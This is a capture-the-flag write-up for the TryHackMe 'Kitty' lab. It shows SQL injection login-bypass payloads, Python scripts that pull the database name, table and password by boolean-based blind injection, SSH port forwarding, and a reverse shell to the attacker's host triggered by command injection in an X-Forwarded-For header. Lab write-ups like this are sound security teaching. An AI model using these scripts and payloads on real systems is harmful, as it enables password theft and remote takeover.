# Kitty

**Room Link:** [https://tryhackme.com/r/room/kitty](https://tryhackme.com/r/room/kitty)

#### **Scans** <a href="#scans" id="scans"></a>

Initial scan

**Kali**

```
nmap -A $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FdqWpZWlB2UiYxoAcHoYS%2Fimage.png?alt=media&#x26;token=97605d9a-bb10-4933-90e0-f4d9012fbae9" alt=""><figcaption></figcaption></figure>

Longer scan

**Kali**

```
nmap -sV -sT -O -p 1-65535 $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FnlAX4pSGi7q30QlnQYLn%2Fimage.png?alt=media&#x26;token=8c874f61-df75-4570-a4b1-eda195023d13" alt=""><figcaption></figcaption></figure>

## **TCP/80 - HTTP**

#### Find Pages <a href="#find-pages" id="find-pages"></a>

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FCWzqS7WzOxIK6DtIyAUw%2Fimage.png?alt=media&#x26;token=a81a7861-8ab5-44eb-8f0c-c882ca460bc3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F9m7GR8LRr4Y0LNF28nHD%2Fimage.png?alt=media&#x26;token=bed1c099-be8d-491c-afff-13fac3f6b7be" alt=""><figcaption></figcaption></figure>

**Payload**

```
or 1=1
or 1=1--
or 1=1#
or 1=1/*
kitty' --
kitty' -- - 
kitty' #
kitty'/*
kitty' or '1'='1
kitty' or '1'='1'--
kitty' or '1'='1'#
kitty' or '1'='1'/*
kitty'or 1=1 or ''='
```

A few of the options above work but I choose this one, I can login but there's nothing developed

**Payload**

```
Username: kitty' -- - 
Password: kitty' -- - 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FcPDTOxmrPSeH9ZPzYOEl%2Fimage.png?alt=media&#x26;token=e4db1d9f-e954-4401-9290-fbe05b6fb98f" alt=""><figcaption></figcaption></figure>



## Retrieving database name from boolean sqli <a href="#ee3c" id="ee3c"></a>

So, the plan is to know the name of the database. However, manual attempts will be terribly time-consuming, so I decided to practice scripting. After some time spent trying different payloads, this one worked:

**Statement**

```
' UNION SELECT 1,2,3,4 WHERE database() LIKE BINARY 'a%' -- -
```



Was able to get the database name using this script

**Kali**

```
git clone https://github.com/Sonat55/Boolean-Based-SQLI-attacks-helper---for-CTF.git
cd Boolean-Based-SQLI-attacks-helper---for-CTF/
```

**script.py**

```
import sys
import requests

def sqli(ip):
    symbols = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-/:$^ '
    tmp = ""

    while True:
        for i in symbols:
            post= {"username":f"' UNION SELECT 1,2,3,4 WHERE database() LIKE BINARY '{tmp+i}%' -- -","password":"doesntmatter"} #u can change this for other prposes
            req = requests.post(f"http://{ip}/index.php", data=post,allow_redirects=False) #address can also be chnaged 
            status_code=req.status_code
            print(f"{i}", end='\r')
            if status_code == 302:
                tmp += i
                print(tmp)
                break
            elif i == " " :
                print("\n[#] Attack compleated B)")
                print(f"DB_NAME: {tmp}")
                exit()


def main():
    if len(sys.argv) != 2:
        print("(+) Usage: %s <ip>" % sys.argv[0])
        print("(+) Example: %s 192.168.0.1" % sys.argv[0])
        return
    url = sys.argv[1]
    print("(+) Retrieving database..")
    sqli(url)

if __name__ == "__main__":
    main()

```

**Kali**

```
python script.py $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxJMXXtWDKIZBYGKnxE46%2Fimage.png?alt=media&#x26;token=9d62ac08-ef34-4f59-987f-abb360b7d47a" alt=""><figcaption></figcaption></figure>

## Table enumeration <a href="#e78c" id="e78c"></a>

**Statement**

```
' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = database() AND table_name LIKE BINARY 'a%' -- -
```

**script.py**

```
import sys
import requests

def sqli(ip):
    symbols = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-/:$^ '
    tmp = ""

    while True:
        for i in symbols:
            post= {"username":f"' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = database() AND table_name LIKE BINARY '{tmp+i}%' -- -","password":"doesntmatter"} #u can change this for other prposes
            req = requests.post(f"http://{ip}/index.php", data=post,allow_redirects=False) #address can also be chnaged 
            status_code=req.status_code
            print(f"{i}", end='\r')
            if status_code == 302:
                tmp += i
                print(tmp)
                break
            elif i == " " :
                print("\n[#] Attack complete:")
                print(f"TABLE_NAME: {tmp}")
                exit()


def main():
    if len(sys.argv) != 2:
        print("(+) Usage: %s <ip>" % sys.argv[0])
        print("(+) Example: %s 192.168.0.1" % sys.argv[0])
        return
    url = sys.argv[1]
    print("(+) Retrieving database..")
    sqli(url)

if __name__ == "__main__":
    main()

```

**Kali**

```
python script.py $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fv3ArC3atTdE3SUhr4IAl%2Fimage.png?alt=media&#x26;token=f2f9e7cb-aeea-45cf-a6cd-e3e7e6901d64" alt=""><figcaption></figcaption></figure>

## Password enumeration <a href="#adc0" id="adc0"></a>

We already know the username “kitty,” so let’s go straight to the password.

**Statement**

```
' UNION SELECT 1,2,3,4 FROM siteusers WHERE username=\"kitty\" AND password LIKE BINARY 'a%';-- -
```

**script.py**

```
import sys
import requests

def sqli(ip):
    symbols = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-/:$^ '
    tmp = ""

    while True:
        for i in symbols:
            post= {"username":f"' UNION SELECT 1,2,3,4 FROM siteusers WHERE username=\"kitty\" AND password LIKE BINARY '{tmp+i}%' -- -","password":"doesntmatter"} #u can change this for other prposes
            req = requests.post(f"http://{ip}/index.php", data=post,allow_redirects=False) #address can also be chnaged 
            status_code=req.status_code
            print(f"{i}", end='\r')
            if status_code == 302:
                tmp += i
                print(tmp)
                break
            elif i == " " :
                print("\n[#] Attack complete:")
                print(f"Password:: {tmp}")
                exit()


def main():
    if len(sys.argv) != 2:
        print("(+) Usage: %s <ip>" % sys.argv[0])
        print("(+) Example: %s 192.168.0.1" % sys.argv[0])
        return
    url = sys.argv[1]
    print("(+) Retrieving database..")
    sqli(url)

if __name__ == "__main__":
    main()

```

**Kali**

```
python script.py $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FAVxMCSSUqkvRmYPmGCTn%2Fimage.png?alt=media&#x26;token=c6dc0a22-c8fa-4a99-ad7d-b0b7fe871bf4" alt=""><figcaption></figcaption></figure>

## **TCP/22 - SSH**

**Kali**

```
ssh kitty@$VICTIM
Password: L0ng_Liv3_KittY
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FBu69LnUMukALdjzmQKjk%2Fimage.png?alt=media&#x26;token=35a44634-2401-46eb-920b-35a41279e4b1" alt=""><figcaption></figcaption></figure>

**Kali**

```
ss -ltp
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FS3RxC8ppV5B6efkkfXn8%2Fimage.png?alt=media&#x26;token=fcd1f380-e883-45a2-8119-0f7ad02f988d" alt=""><figcaption></figcaption></figure>



**Kali**

```
subl /etc/proxychains.conf
```

**proxychains.conf**

```
socks4 	127.0.0.1 9050
```

**Kali**

```
ssh -L 8081:127.0.0.1:8080 kitty@$VICTIM
Password: L0ng_Liv3_KittY
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FX9K3BgD0KyHlZ2FH9AtR%2Fimage.png?alt=media&#x26;token=8b975409-5867-45be-815f-9093c4ac4a91" alt=""><figcaption></figcaption></figure>

## Privlege Escalation <a href="#adc0" id="adc0"></a>

We already know the username “kitty,” so let’s go straight to the password.

**Kali**

```
nc -nvlp
```

**Victim**

```
echo 'sh -i >& /dev/tcp/$KALI/1337 0>&1' > /tmp/revshell.sh
chmod +x /tmp/revshell.sh
```

### **Option #1**

**Kali**

```
curl 'http://127.0.0.1:8081/index.php' -d "username=hacker' OR '1'='1-- -&password=epic" -H 'X-Forwarded-For: $(bash /tmp/revshell.sh)'
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FCIiLhZ4vDOWH9rNKlJvO%2Fimage.png?alt=media&#x26;token=bebaed4f-b515-41ad-8985-37f94f949365" alt=""><figcaption></figcaption></figure>

### **Option #2**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FisNEqZSMQJTyQEYsD3S3%2Fimage.png?alt=media&#x26;token=53272d19-d75b-41ee-a714-6fbfa33d0d72" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYVeLoHBF2ONL0vFJc6QB%2Fimage.png?alt=media&#x26;token=ebe5f3d4-8e01-4e47-b4c0-b7bf2bb545c5" alt=""><figcaption></figcaption></figure>

**X-Forwarded-For**

Add the following line to the payload

```
X-Forwarded-For: $(bash /tmp/revshell.sh)
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FWAf6PEAkNPsEMZ3fBiXy%2Fimage.png?alt=media&#x26;token=3ade11cb-523c-4f92-be00-5fcaf24d2447" alt=""><figcaption></figcaption></figure>



